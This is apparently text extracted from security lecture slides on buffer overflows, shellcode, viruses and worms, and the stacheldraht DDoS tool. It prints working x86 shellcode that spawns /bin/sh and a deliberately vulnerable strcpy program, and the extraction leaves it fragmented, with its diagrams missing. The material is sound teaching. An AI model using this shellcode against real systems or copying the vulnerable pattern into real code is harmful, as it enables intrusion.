Exploits: by Hon Ching Lo
Exploits: by Hon Ching Lo
By Hon Ching Lo
1. Buffer Overflow
3. The “stacheldraht”
distributed denial of
service attack tool
Stack Buffer Overflow Basics
Lower A process in memory:
memory
addresses
- text (Program code; marked
read-only, so any attempts to
write to it will result in
segmentation fault)
- data segment (Global and
static variables)
- stack (Dynamic variables)
void main(){
..
Function();
..
}
Another Example Code
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main(){
function(1,2,3);
}
Stack layout for the example code
bottom of top of
memory memory
top of bottom of
stack stack
(i) Before the attack (ii) after injecting the attack code
(iii) executing the attack code
Shellcode.c
#include<stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
After compiling the code and starting up gdb, we
have the shellcode in assembly:
Some modifications to the shellcode:
Solution:
--Place a CALL instruction right before the
“/bin/sh” string, and a JMP instruction to
it.
--the string’s address will be pushed onto
the stack as the return when CALL is
executed. (Basically, CALL instruction
pushes the IP onto the stack)
Inserting JMP and CALL instructions
bottom of top of
memory memory
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46
\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89
\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
Computer Virus and Worms
Computer viruses
- parasitic programs which are designed to alter the way a
computer operates without the permission or knowledge of
the user.
-must meet two criteria:
-must execute itself. it will often place its own code in the
path of execution of another program.
- must replicate itself.
- require infected host file, but worms don't.
- they incorporate themselves within executable program
files.
- some infects in files such as MS-Word and MS-Excel
(because we could put strings of program commands
(called "macros") in the data files)
- some attach themselves to boot records.
- they infects in files until the layload.
Components: Effects:
easy to create
what worms do?
replicate themselves.
http://staff.washington.edu/dittrich/
misc/stacheldraht.analysis.txt
The stacheldraht network
The attacker(s) control one or more handlers
using encrypting clients.